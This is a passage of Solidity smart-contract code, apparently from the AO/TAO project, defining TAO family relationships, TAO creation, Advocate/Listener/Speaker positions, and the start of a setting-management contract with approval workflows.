require (isExist(_taoId) && isExist(_childId));
Family storage _family = families[_taoId];
Family memory _childFamily = families[_childId];
uint256 _childInternalId = _family.childInternalIdLookup[_childId];
return (
_childInternalId > 0 &&
_family.children[_childInternalId].approved &&
_family.children[_childInternalId].connected &&
_childFamily.parentId == _taoId
);
}
/**
* @dev Add child TAO
* @param _taoId The TAO ID to be added to
* @param _childId The ID to be added to as child TAO
*/
function addChild(address _taoId, address _childId)
public
isTAO(_taoId)
isTAO(_childId)
onlyFactory returns (bool) {
require (!isChild(_taoId, _childId));
Family storage _family = families[_taoId];
require (_family.childInternalIdLookup[_childId] == 0);
_family.childInternalId++;
_family.childInternalIdLookup[_childId] = _family.childInternalId;
uint256 _nonce = _taoFactory.incrementNonce(_taoId);
require (_nonce > 0);
Child storage _child = _family.children[_family.childInternalId];
_child.taoId = _childId;
// If _taoId's Advocate == _childId's Advocate, then the child is automatically approved and connected
// Otherwise, child TAO needs parent TAO approval
address _taoAdvocate = _nameTAOPosition.getAdvocate(_taoId);
address _childAdvocate = _nameTAOPosition.getAdvocate(_childId);
if (_taoAdvocate == _childAdvocate) {
_family.totalChildren++;
_child.approved = true;
_child.connected = true;
Family storage _childFamily = families[_childId];
_childFamily.parentId = _taoId;
}
emit AddChild(_taoId, _childId, _child.approved, _child.connected, _nonce);
return true;
}
/**
* @dev Advocate of `_taoId` approves child `_childId`
* @param _taoId The TAO ID to be checked
* @param _childId The child TAO ID to be approved
*/
function approveChild(address _taoId, address _childId)
public
isTAO(_taoId)
isTAO(_childId)
senderIsName()
onlyAdvocate(_taoId) {
require (isExist(_taoId) && isExist(_childId));
Family storage _family = families[_taoId];
Family storage _childFamily = families[_childId];
uint256 _childInternalId = _family.childInternalIdLookup[_childId];
require (_childInternalId > 0 &&
!_family.children[_childInternalId].approved &&
!_family.children[_childInternalId].connected
);
_family.totalChildren++;
Child storage _child = _family.children[_childInternalId];
_child.approved = true;
_child.connected = true;
_childFamily.parentId = _taoId;
uint256 _nonce = _taoFactory.incrementNonce(_taoId);
require (_nonce > 0);
emit ApproveChild(_taoId, _childId, _nonce);
}
/**
* @dev Advocate of `_taoId` removes child `_childId`
* @param _taoId The TAO ID to be checked
* @param _childId The child TAO ID to be removed
*/
function removeChild(address _taoId, address _childId)
public
isTAO(_taoId)
isTAO(_childId)
senderIsName()
onlyAdvocate(_taoId) {
require (isChild(_taoId, _childId));
Family storage _family = families[_taoId];
_family.totalChildren--;
Child storage _child = _family.children[_family.childInternalIdLookup[_childId]];
_child.connected = false;
_family.childInternalIdLookup[_childId] = 0;
Family storage _childFamily = families[_childId];
_childFamily.parentId = address(0);
uint256 _nonce = _taoFactory.incrementNonce(_taoId);
require (_nonce > 0);
emit RemoveChild(_taoId, _childId, _nonce);
}
/**
* @dev Get list of child TAO IDs
* @param _taoId The TAO ID to be checked
* @param _from The starting index (start from 1)
* @param _to The ending index, (max is childInternalId)
* @return list of child TAO IDs
*/
function getChildIds(address _taoId, uint256 _from, uint256 _to) public view returns (address[]) {
require (isExist(_taoId));
Family storage _family = families[_taoId];
require (_from >= 1 && _to >= _from && _family.childInternalId >= _to);
address[] memory _childIds = new address[](_to.sub(_from).add(1));
for (uint256 i = _from; i <= _to; i++) {
_childIds[i.sub(_from)] = _family.children[i].approved && _family.children[i].connected ? _family.children[i].taoId : address(0);
}
return _childIds;
}
}
// Store TAO's child information
/**
* @title TAOFactory
*
* The purpose of this contract is to allow node to create TAO
*/
contract TAOFactory is TheAO, TAOController {
using SafeMath for uint256;
address[] internal taos;
address public taoFamilyAddress;
address public nameTAOVaultAddress;
address public settingTAOId;
NameTAOLookup internal _nameTAOLookup;
TAOFamily internal _taoFamily;
AOSetting internal _aoSetting;
Logos internal _logos;
// Mapping from TAO ID to its nonce
mapping (address => uint256) public nonces;
// Event to be broadcasted to public when Advocate creates a TAO
event CreateTAO(address indexed ethAddress, address advocateId, address taoId, uint256 index, address parent, uint8 parentTypeId);
/**
* @dev Constructor function
*/
constructor(address _nameFactoryAddress, address _nameTAOLookupAddress, address _nameTAOPositionAddress, address _aoSettingAddress, address _logosAddress, address _nameTAOVaultAddress)
TAOController(_nameFactoryAddress, _nameTAOPositionAddress) public {
nameTAOPositionAddress = _nameTAOPositionAddress;
nameTAOVaultAddress = _nameTAOVaultAddress;
_nameTAOLookup = NameTAOLookup(_nameTAOLookupAddress);
_nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress);
_aoSetting = AOSetting(_aoSettingAddress);
_logos = Logos(_logosAddress);
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/**
* @dev Checks if calling address can update TAO's nonce
*/
modifier canUpdateNonce {
require (msg.sender == nameTAOPositionAddress || msg.sender == taoFamilyAddress);
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev The AO set the TAOFamily Address
* @param _taoFamilyAddress The address of TAOFamily
*/
function setTAOFamilyAddress(address _taoFamilyAddress) public onlyTheAO {
require (_taoFamilyAddress != address(0));
taoFamilyAddress = _taoFamilyAddress;
_taoFamily = TAOFamily(taoFamilyAddress);
}
/**
* @dev The AO set settingTAOId (The TAO ID that holds the setting values)
* @param _settingTAOId The address of settingTAOId
*/
function setSettingTAOId(address _settingTAOId) public onlyTheAO isTAO(_settingTAOId) {
settingTAOId = _settingTAOId;
}
/***** PUBLIC METHODS *****/
/**
* @dev Increment the nonce of a TAO
* @param _taoId The ID of the TAO
* @return current nonce
*/
function incrementNonce(address _taoId) public canUpdateNonce returns (uint256) {
// Check if _taoId exist
require (nonces[_taoId] > 0);
nonces[_taoId]++;
return nonces[_taoId];
}
/**
* @dev Name creates a TAO
* @param _name The name of the TAO
* @param _datHash The datHash of this TAO
* @param _database The database for this TAO
* @param _keyValue The key/value pair to be checked on the database
* @param _contentId The contentId related to this TAO
* @param _parentId The parent of this TAO (has to be a Name or TAO)
* @param _childMinLogos The min required Logos to create a child from this TAO
*/
function createTAO(
string _name,
string _datHash,
string _database,
string _keyValue,
bytes32 _contentId,
address _parentId,
uint256 _childMinLogos
) public senderIsName() isNameOrTAO(_parentId) {
require (bytes(_name).length > 0);
require (!_nameTAOLookup.isExist(_name));
address _nameId = _nameFactory.ethAddressToNameId(msg.sender);
uint256 _parentCreateChildTAOMinLogos;
uint256 _createChildTAOMinLogos = _getSettingVariables();
if (AOLibrary.isTAO(_parentId)) {
(, _parentCreateChildTAOMinLogos,) = _taoFamily.getFamilyById(_parentId);
}
if (_parentCreateChildTAOMinLogos > 0) {
require (_logos.sumBalanceOf(_nameId) >= _parentCreateChildTAOMinLogos);
} else if (_createChildTAOMinLogos > 0) {
require (_logos.sumBalanceOf(_nameId) >= _createChildTAOMinLogos);
}
// Create the TAO
address taoId = new TAO(_name, _nameId, _datHash, _database, _keyValue, _contentId, nameTAOVaultAddress);
// Increment the nonce
nonces[taoId]++;
// Store the name lookup information
require (_nameTAOLookup.add(_name, taoId, TAO(_parentId).name(), 0));
// Store the Advocate/Listener/Speaker information
require (_nameTAOPosition.add(taoId, _nameId, _nameId, _nameId));
require (_taoFamily.add(taoId, _parentId, _childMinLogos));
taos.push(taoId);
emit CreateTAO(msg.sender, _nameId, taoId, taos.length.sub(1), _parentId, TAO(_parentId).typeId());
if (AOLibrary.isTAO(_parentId)) {
require (_taoFamily.addChild(_parentId, taoId));
}
}
/**
* @dev Get TAO information
* @param _taoId The ID of the TAO to be queried
* @return The name of the TAO
* @return The origin Name ID that created the TAO
* @return The name of Name that created the TAO
* @return The datHash of the TAO
* @return The database of the TAO
* @return The keyValue of the TAO
* @return The contentId of the TAO
* @return The typeId of the TAO
*/
function getTAO(address _taoId) public view returns (string, address, string, string, string, string, bytes32, uint8) {
TAO _tao = TAO(_taoId);
return (
_tao.name(),
_tao.originId(),
Name(_tao.originId()).name(),
_tao.datHash(),
_tao.database(),
_tao.keyValue(),
_tao.contentId(),
_tao.typeId()
);
}
/**
* @dev Get total TAOs count
* @return total TAOs count
*/
function getTotalTAOsCount() public view returns (uint256) {
return taos.length;
}
/**
* @dev Get list of TAO IDs
* @param _from The starting index
* @param _to The ending index
* @return list of TAO IDs
*/
function getTAOIds(uint256 _from, uint256 _to) public view returns (address[]) {
require (_from >= 0 && _to >= _from && taos.length > _to);
address[] memory _taos = new address[](_to.sub(_from).add(1));
for (uint256 i = _from; i <= _to; i++) {
_taos[i.sub(_from)] = taos[i];
}
return _taos;
}
/**
* @dev Check whether or not the signature is valid
* @param _data The signed string data
* @param _nonce The signed uint256 nonce (should be TAO's current nonce + 1)
* @param _validateAddress The ETH address to be validated (optional)
* @param _name The Name of the TAO
* @param _signatureV The V part of the signature
* @param _signatureR The R part of the signature
* @param _signatureS The S part of the signature
* @return true if valid. false otherwise
* @return The name of the Name that created the signature
* @return The Position of the Name that created the signature.
* 0 == unknown. 1 == Advocate. 2 == Listener. 3 == Speaker
*/
function validateTAOSignature(
string _data,
uint256 _nonce,
address _validateAddress,
string _name,
uint8 _signatureV,
bytes32 _signatureR,
bytes32 _signatureS
) public isTAO(_getTAOIdByName(_name)) view returns (bool, string, uint256) {
address _signatureAddress = AOLibrary.getValidateSignatureAddress(address(this), _data, _nonce, _signatureV, _signatureR, _signatureS);
if (_isTAOSignatureAddressValid(_validateAddress, _signatureAddress, _getTAOIdByName(_name), _nonce)) {
return (true, Name(_nameFactory.ethAddressToNameId(_signatureAddress)).name(), _nameTAOPosition.determinePosition(_signatureAddress, _getTAOIdByName(_name)));
} else {
return (false, "", 0);
}
}
/***** INTERNAL METHOD *****/
/**
* @dev Check whether or not the address recovered from the signature is valid
* @param _validateAddress The ETH address to be validated (optional)
* @param _signatureAddress The address recovered from the signature
* @param _taoId The ID of the TAO
* @param _nonce The signed uint256 nonce
* @return true if valid. false otherwise
*/
function _isTAOSignatureAddressValid(
address _validateAddress,
address _signatureAddress,
address _taoId,
uint256 _nonce
) internal view returns (bool) {
if (_validateAddress != address(0)) {
return (_nonce == nonces[_taoId].add(1) &&
_signatureAddress == _validateAddress &&
_nameTAOPosition.senderIsPosition(_validateAddress, _taoId)
);
} else {
return (
_nonce == nonces[_taoId].add(1) &&
_nameTAOPosition.senderIsPosition(_signatureAddress, _taoId)
);
}
}
/**
* @dev Internal function to get the TAO Id by name
* @param _name The name of the TAO
* @return the TAO ID
*/
function _getTAOIdByName(string _name) internal view returns (address) {
return _nameTAOLookup.getAddressByName(_name);
}
/**
* @dev Get setting variables
* @return createChildTAOMinLogos The minimum required Logos to create a TAO
*/
function _getSettingVariables() internal view returns (uint256) {
(uint256 createChildTAOMinLogos,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'createChildTAOMinLogos');
return createChildTAOMinLogos;
}
}
/**
* @title NameTAOPosition
*/
contract NameTAOPosition is TheAO {
address public nameFactoryAddress;
address public taoFactoryAddress;
NameFactory internal _nameFactory;
TAOFactory internal _taoFactory;
struct Position {
address advocateId;
address listenerId;
address speakerId;
bool created;
}
mapping (address => Position) internal positions;
// Event to be broadcasted to public when current Advocate of TAO sets New Advocate
event SetAdvocate(address indexed taoId, address oldAdvocateId, address newAdvocateId, uint256 nonce);
// Event to be broadcasted to public when current Advocate of Name/TAO sets New Listener
event SetListener(address indexed taoId, address oldListenerId, address newListenerId, uint256 nonce);
// Event to be broadcasted to public when current Advocate of Name/TAO sets New Speaker
event SetSpeaker(address indexed taoId, address oldSpeakerId, address newSpeakerId, uint256 nonce);
/**
* @dev Constructor function
*/
constructor(address _nameFactoryAddress) public {
nameFactoryAddress = _nameFactoryAddress;
_nameFactory = NameFactory(_nameFactoryAddress);
nameTAOPositionAddress = address(this);
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/**
* @dev Check if calling address is Factory
*/
modifier onlyFactory {
require (msg.sender == nameFactoryAddress || msg.sender == taoFactoryAddress);
_;
}
/**
* @dev Check if `_taoId` is a TAO
*/
modifier isTAO(address _taoId) {
require (AOLibrary.isTAO(_taoId));
_;
}
/**
* @dev Check if `_nameId` is a Name
*/
modifier isName(address _nameId) {
require (AOLibrary.isName(_nameId));
_;
}
/**
* @dev Check if `_id` is a Name or a TAO
*/
modifier isNameOrTAO(address _id) {
require (AOLibrary.isName(_id) || AOLibrary.isTAO(_id));
_;
}
/**
* @dev Check is msg.sender address is a Name
*/
modifier senderIsName() {
require (_nameFactory.ethAddressToNameId(msg.sender) != address(0));
_;
}
/**
* @dev Check if msg.sender is the current advocate of a Name/TAO ID
*/
modifier onlyAdvocate(address _id) {
require (senderIsAdvocate(msg.sender, _id));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev The AO set the taoFactoryAddress Address
* @param _taoFactoryAddress The address of TAOFactory
*/
function setTAOFactoryAddress(address _taoFactoryAddress) public onlyTheAO {
require (_taoFactoryAddress != address(0));
taoFactoryAddress = _taoFactoryAddress;
_taoFactory = TAOFactory(_taoFactoryAddress);
}
/***** PUBLIC METHODS *****/
/**
* @dev Check whether or not a Name/TAO ID exist in the list
* @param _id The ID to be checked
* @return true if yes, false otherwise
*/
function isExist(address _id) public view returns (bool) {
return positions[_id].created;
}
/**
* @dev Check whether or not eth address is advocate of _id
* @param _sender The eth address to check
* @param _id The ID to be checked
* @return true if yes, false otherwise
*/
function senderIsAdvocate(address _sender, address _id) public view returns (bool) {
return (positions[_id].created && positions[_id].advocateId == _nameFactory.ethAddressToNameId(_sender));
}
/**
* @dev Check whether or not eth address is either Advocate/Listener/Speaker of _id
* @param _sender The eth address to check
* @param _id The ID to be checked
* @return true if yes, false otherwise
*/
function senderIsPosition(address _sender, address _id) public view returns (bool) {
address _nameId = _nameFactory.ethAddressToNameId(_sender);
if (_nameId == address(0)) {
return false;
} else {
return (positions[_id].created &&
(positions[_id].advocateId == _nameId ||
positions[_id].listenerId == _nameId ||
positions[_id].speakerId == _nameId
)
);
}
}
/**
* @dev Check whether or not _nameId is advocate of _id
* @param _nameId The name ID to be checked
* @param _id The ID to be checked
* @return true if yes, false otherwise
*/
function nameIsAdvocate(address _nameId, address _id) public view returns (bool) {
return (positions[_id].created && positions[_id].advocateId == _nameId);
}
/**
* @dev Determine whether or not `_sender` is Advocate/Listener/Speaker of the Name/TAO
* @param _sender The ETH address that to check
* @param _id The ID of the Name/TAO
* @return 1 if Advocate. 2 if Listener. 3 if Speaker
*/
function determinePosition(address _sender, address _id) public view returns (uint256) {
require (senderIsPosition(_sender, _id));
Position memory _position = positions[_id];
address _nameId = _nameFactory.ethAddressToNameId(_sender);
if (_nameId == _position.advocateId) {
return 1;
} else if (_nameId == _position.listenerId) {
return 2;
} else {
return 3;
}
}
/**
* @dev Add Position for a Name/TAO
* @param _id The ID of the Name/TAO
* @param _advocateId The Advocate ID of the Name/TAO
* @param _listenerId The Listener ID of the Name/TAO
* @param _speakerId The Speaker ID of the Name/TAO
* @return true on success
*/
function add(address _id, address _advocateId, address _listenerId, address _speakerId)
public
isNameOrTAO(_id)
isName(_advocateId)
isNameOrTAO(_listenerId)
isNameOrTAO(_speakerId)
onlyFactory returns (bool) {
require (!isExist(_id));
Position storage _position = positions[_id];
_position.advocateId = _advocateId;
_position.listenerId = _listenerId;
_position.speakerId = _speakerId;
_position.created = true;
return true;
}
/**
* @dev Get Name/TAO's Position info
* @param _id The ID of the Name/TAO
* @return the Advocate ID of Name/TAO
* @return the Listener ID of Name/TAO
* @return the Speaker ID of Name/TAO
*/
function getPositionById(address _id) public view returns (address, address, address) {
require (isExist(_id));
Position memory _position = positions[_id];
return (
_position.advocateId,
_position.listenerId,
_position.speakerId
);
}
/**
* @dev Get Name/TAO's Advocate
* @param _id The ID of the Name/TAO
* @return the Advocate ID of Name/TAO
*/
function getAdvocate(address _id) public view returns (address) {
require (isExist(_id));
Position memory _position = positions[_id];
return _position.advocateId;
}
/**
* @dev Get Name/TAO's Listener
* @param _id The ID of the Name/TAO
* @return the Listener ID of Name/TAO
*/
function getListener(address _id) public view returns (address) {
require (isExist(_id));
Position memory _position = positions[_id];
return _position.listenerId;
}
/**
* @dev Get Name/TAO's Speaker
* @param _id The ID of the Name/TAO
* @return the Speaker ID of Name/TAO
*/
function getSpeaker(address _id) public view returns (address) {
require (isExist(_id));
Position memory _position = positions[_id];
return _position.speakerId;
}
/**
* @dev Set Advocate for a TAO
* @param _taoId The ID of the TAO
* @param _newAdvocateId The new advocate ID to be set
*/
function setAdvocate(address _taoId, address _newAdvocateId)
public
isTAO(_taoId)
isName(_newAdvocateId)
senderIsName()
onlyAdvocate(_taoId) {
Position storage _position = positions[_taoId];
address _currentAdvocateId = _position.advocateId;
_position.advocateId = _newAdvocateId;
uint256 _nonce = _taoFactory.incrementNonce(_taoId);
require (_nonce > 0);
emit SetAdvocate(_taoId, _currentAdvocateId, _position.advocateId, _nonce);
}
/**
* @dev Set Listener for a Name/TAO
* @param _id The ID of the Name/TAO
* @param _newListenerId The new listener ID to be set
*/
function setListener(address _id, address _newListenerId)
public
isNameOrTAO(_id)
isNameOrTAO(_newListenerId)
senderIsName()
onlyAdvocate(_id) {
// If _id is a Name, then new Listener can only be a Name
// If _id is a TAO, then new Listener can be a TAO/Name
bool _isName = false;
if (AOLibrary.isName(_id)) {
_isName = true;
require (AOLibrary.isName(_newListenerId));
}
Position storage _position = positions[_id];
address _currentListenerId = _position.listenerId;
_position.listenerId = _newListenerId;
if (_isName) {
uint256 _nonce = _nameFactory.incrementNonce(_id);
} else {
_nonce = _taoFactory.incrementNonce(_id);
}
emit SetListener(_id, _currentListenerId, _position.listenerId, _nonce);
}
/**
* @dev Set Speaker for a Name/TAO
* @param _id The ID of the Name/TAO
* @param _newSpeakerId The new speaker ID to be set
*/
function setSpeaker(address _id, address _newSpeakerId)
public
isNameOrTAO(_id)
isNameOrTAO(_newSpeakerId)
senderIsName()
onlyAdvocate(_id) {
// If _id is a Name, then new Speaker can only be a Name
// If _id is a TAO, then new Speaker can be a TAO/Name
bool _isName = false;
if (AOLibrary.isName(_id)) {
_isName = true;
require (AOLibrary.isName(_newSpeakerId));
}
Position storage _position = positions[_id];
address _currentSpeakerId = _position.speakerId;
_position.speakerId = _newSpeakerId;
if (_isName) {
uint256 _nonce = _nameFactory.incrementNonce(_id);
} else {
_nonce = _taoFactory.incrementNonce(_id);
}
emit SetSpeaker(_id, _currentSpeakerId, _position.speakerId, _nonce);
}
}
/**
* @title AOSetting
*
* This contract stores all AO setting variables
*/
contract AOSetting {
address public aoSettingAttributeAddress;
address public aoUintSettingAddress;
address public aoBoolSettingAddress;
address public aoAddressSettingAddress;
address public aoBytesSettingAddress;
address public aoStringSettingAddress;
NameFactory internal _nameFactory;
NameTAOPosition internal _nameTAOPosition;
AOSettingAttribute internal _aoSettingAttribute;
AOUintSetting internal _aoUintSetting;
AOBoolSetting internal _aoBoolSetting;
AOAddressSetting internal _aoAddressSetting;
AOBytesSetting internal _aoBytesSetting;
AOStringSetting internal _aoStringSetting;
uint256 public totalSetting;
/**
* Mapping from associatedTAOId's setting name to Setting ID.
*
* Instead of concatenating the associatedTAOID and setting name to create a unique ID for lookup,
* use nested mapping to achieve the same result.
*
* The setting's name needs to be converted to bytes32 since solidity does not support mapping by string.
*/
mapping (address => mapping (bytes32 => uint256)) internal nameSettingLookup;
// Mapping from updateHashKey to it's settingId
mapping (bytes32 => uint256) public updateHashLookup;
// Event to be broadcasted to public when a setting is created and waiting for approval
event SettingCreation(uint256 indexed settingId, address indexed creatorNameId, address creatorTAOId, address associatedTAOId, string settingName, uint8 settingType, bytes32 associatedTAOSettingId, bytes32 creatorTAOSettingId);
// Event to be broadcasted to public when setting creation is approved/rejected by the advocate of associatedTAOId
event ApproveSettingCreation(uint256 indexed settingId, address associatedTAOId, address associatedTAOAdvocate, bool approved);
// Event to be broadcasted to public when setting creation is finalized by the advocate of creatorTAOId
event FinalizeSettingCreation(uint256 indexed settingId, address creatorTAOId, address creatorTAOAdvocate);
// Event to be broadcasted to public when a proposed update for a setting is created
event SettingUpdate(uint256 indexed settingId, address indexed updateAdvocateNameId, address proposalTAOId);
// Event to be broadcasted to public when setting update is approved/rejected by the advocate of proposalTAOId
event ApproveSettingUpdate(uint256 indexed settingId, address proposalTAOId, address proposalTAOAdvocate, bool approved);
// Event to be broadcasted to public when setting update is finalized by the advocate of associatedTAOId
event FinalizeSettingUpdate(uint256 indexed settingId, address associatedTAOId, address associatedTAOAdvocate);
// Event to be broadcasted to public when a setting deprecation is created and waiting for approval
event SettingDeprecation(uint256 indexed settingId, address indexed creatorNameId, address creatorTAOId, address associatedTAOId, uint256 newSettingId, address newSettingContractAddress, bytes32 associatedTAOSettingDeprecationId, bytes32 creatorTAOSettingDeprecationId);
// Event to be broadcasted to public when setting deprecation is approved/rejected by the advocate of associatedTAOId
event ApproveSettingDeprecation(uint256 indexed settingId, address associatedTAOId, address associatedTAOAdvocate, bool approved);
// Event to be broadcasted to public when setting deprecation is finalized by the advocate of creatorTAOId
event FinalizeSettingDeprecation(uint256 indexed settingId, address creatorTAOId, address creatorTAOAdvocate);
/**
* @dev Constructor function
*/
constructor(address _nameFactoryAddress,
address _nameTAOPositionAddress,
address _aoSettingAttributeAddress,
address _aoUintSettingAddress,
address _aoBoolSettingAddress,
address _aoAddressSettingAddress,
address _aoBytesSettingAddress,
address _aoStringSettingAddress) public {
aoSettingAttributeAddress = _aoSettingAttributeAddress;
aoUintSettingAddress = _aoUintSettingAddress;
aoBoolSettingAddress = _aoBoolSettingAddress;
aoAddressSettingAddress = _aoAddressSettingAddress;
aoBytesSettingAddress = _aoBytesSettingAddress;
aoStringSettingAddress = _aoStringSettingAddress;
_nameFactory = NameFactory(_nameFactoryAddress);
_nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress);
_aoSettingAttribute = AOSettingAttribute(_aoSettingAttributeAddress);
_aoUintSetting = AOUintSetting(_aoUintSettingAddress);
_aoBoolSetting = AOBoolSetting(_aoBoolSettingAddress);
_aoAddressSetting = AOAddressSetting(_aoAddressSettingAddress);
_aoBytesSetting = AOBytesSetting(_aoBytesSettingAddress);
_aoStringSetting = AOStringSetting(_aoStringSettingAddress);
}
/**
* @dev Check if `_taoId` is a TAO
*/
modifier isTAO(address _taoId) {
require (AOLibrary.isTAO(_taoId));
_;
}
/**
* @dev Check if `_settingName` of `_associatedTAOId` is taken
*/
modifier settingNameNotTaken(string _settingName, address _associatedTAOId) {
require (settingNameExist(_settingName, _associatedTAOId) == false);
_;
}
/**
* @dev Check if msg.sender is the current advocate of Name ID
*/
modifier onlyAdvocate(address _id) {
require (_nameTAOPosition.senderIsAdvocate(msg.sender, _id));
_;
}
/***** Public Methods *****/
/**
* @dev Check whether or not a setting name of an associatedTAOId exist
* @param _settingName The human-readable name of the setting
* @param _associatedTAOId The taoId that the setting affects
* @return true if yes. false otherwise
*/
function settingNameExist(string _settingName, address _associatedTAOId) public view returns (bool) {
return (nameSettingLookup[_associatedTAOId][keccak256(abi.encodePacked(this, _settingName))] > 0);
}
/**
* @dev Advocate of _creatorTAOId adds a uint setting
* @param _settingName The human-readable name of the setting
* @param _value The uint256 value of the setting
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
* @param _extraData Catch-all string value to be stored if exist
*/
function addUintSetting(string _settingName, uint256 _value, address _creatorTAOId, address _associatedTAOId, string _extraData) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) settingNameNotTaken(_settingName, _associatedTAOId) onlyAdvocate(_creatorTAOId) {
// Update global variables
totalSetting++;
// Store the value as pending value
_aoUintSetting.setPendingValue(totalSetting, _value);
// Store setting creation data
_storeSettingCreation(_nameFactory.ethAddressToNameId(msg.sender), 1, _settingName, _creatorTAOId, _associatedTAOId, _extraData);
}
/**
* @dev Advocate of _creatorTAOId adds a bool setting
* @param _settingName The human-readable name of the setting
* @param _value The bool value of the setting
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
* @param _extraData Catch-all string value to be stored if exist
*/
function addBoolSetting(string _settingName, bool _value, address _creatorTAOId, address _associatedTAOId, string _extraData) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) settingNameNotTaken(_settingName, _associatedTAOId) onlyAdvocate(_creatorTAOId) {
// Update global variables
totalSetting++;
// Store the value as pending value
_aoBoolSetting.setPendingValue(totalSetting, _value);
// Store setting creation data
_storeSettingCreation(_nameFactory.ethAddressToNameId(msg.sender), 2, _settingName, _creatorTAOId, _associatedTAOId, _extraData);
}
/**
* @dev Advocate of _creatorTAOId adds an address setting
* @param _settingName The human-readable name of the setting
* @param _value The address value of the setting
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
* @param _extraData Catch-all string value to be stored if exist
*/
function addAddressSetting(string _settingName, address _value, address _creatorTAOId, address _associatedTAOId, string _extraData) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) settingNameNotTaken(_settingName, _associatedTAOId) onlyAdvocate(_creatorTAOId) {
// Update global variables
totalSetting++;
// Store the value as pending value
_aoAddressSetting.setPendingValue(totalSetting, _value);
// Store setting creation data
_storeSettingCreation(_nameFactory.ethAddressToNameId(msg.sender), 3, _settingName, _creatorTAOId, _associatedTAOId, _extraData);
}
/**
* @dev Advocate of _creatorTAOId adds a bytes32 setting
* @param _settingName The human-readable name of the setting
* @param _value The bytes32 value of the setting
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
* @param _extraData Catch-all string value to be stored if exist
*/
function addBytesSetting(string _settingName, bytes32 _value, address _creatorTAOId, address _associatedTAOId, string _extraData) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) settingNameNotTaken(_settingName, _associatedTAOId) onlyAdvocate(_creatorTAOId) {
// Update global variables
totalSetting++;
// Store the value as pending value
_aoBytesSetting.setPendingValue(totalSetting, _value);
// Store setting creation data
_storeSettingCreation(_nameFactory.ethAddressToNameId(msg.sender), 4, _settingName, _creatorTAOId, _associatedTAOId, _extraData);
}
/**
* @dev Advocate of _creatorTAOId adds a string setting
* @param _settingName The human-readable name of the setting
* @param _value The string value of the setting
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
* @param _extraData Catch-all string value to be stored if exist
*/
function addStringSetting(string _settingName, string _value, address _creatorTAOId, address _associatedTAOId, string _extraData) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) settingNameNotTaken(_settingName, _associatedTAOId) onlyAdvocate(_creatorTAOId) {
// Update global variables
totalSetting++;
// Store the value as pending value
_aoStringSetting.setPendingValue(totalSetting, _value);
// Store setting creation data
_storeSettingCreation(_nameFactory.ethAddressToNameId(msg.sender), 5, _settingName, _creatorTAOId, _associatedTAOId, _extraData);
}
/**
* @dev Advocate of Setting's _associatedTAOId approves setting creation
* @param _settingId The ID of the setting to approve
* @param _approved Whether to approve or reject
*/
function approveSettingCreation(uint256 _settingId, bool _approved) public {
address _associatedTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender);
require (_aoSettingAttribute.approveAdd(_settingId, _associatedTAOAdvocate, _approved));
(,,,address _associatedTAOId, string memory _settingName,,,,,) = _aoSettingAttribute.getSettingData(_settingId);
if (!_approved) {
// Clear the settingName from nameSettingLookup so it can be added again in the future
delete nameSettingLookup[_associatedTAOId][keccak256(abi.encodePacked(this, _settingName))];
}
emit ApproveSettingCreation(_settingId, _associatedTAOId, _associatedTAOAdvocate, _approved);
}
/**
* @dev Advocate of Setting's _creatorTAOId finalizes the setting creation once the setting is approved
* @param _settingId The ID of the setting to be finalized
*/
function finalizeSettingCreation(uint256 _settingId) public {
address _creatorTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender);
require (_aoSettingAttribute.finalizeAdd(_settingId, _creatorTAOAdvocate));
(,,address _creatorTAOId,,, uint8 _settingType,,,,) = _aoSettingAttribute.getSettingData(_settingId);
_movePendingToSetting(_settingId, _settingType);
emit FinalizeSettingCreation(_settingId, _creatorTAOId, _creatorTAOAdvocate);
}
/**
* @dev Advocate of Setting's _associatedTAOId submits a uint256 setting update after an update has been proposed
* @param _settingId The ID of the setting to be updated
* @param _newValue The new uint256 value for this setting
* @param _proposalTAOId The child of the associatedTAOId with the update Logos
* @param _updateSignature A signature of the proposalTAOId and update value by associatedTAOId's advocate's name address
* @param _extraData Catch-all string value to be stored if exist
*/
function updateUintSetting(uint256 _settingId, uint256 _newValue, address _proposalTAOId, string _updateSignature, string _extraData) public isTAO(_proposalTAOId) {
// Store the setting state data
require (_aoSettingAttribute.update(_settingId, 1, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _updateSignature, _extraData));
// Store the value as pending value
_aoUintSetting.setPendingValue(_settingId, _newValue);
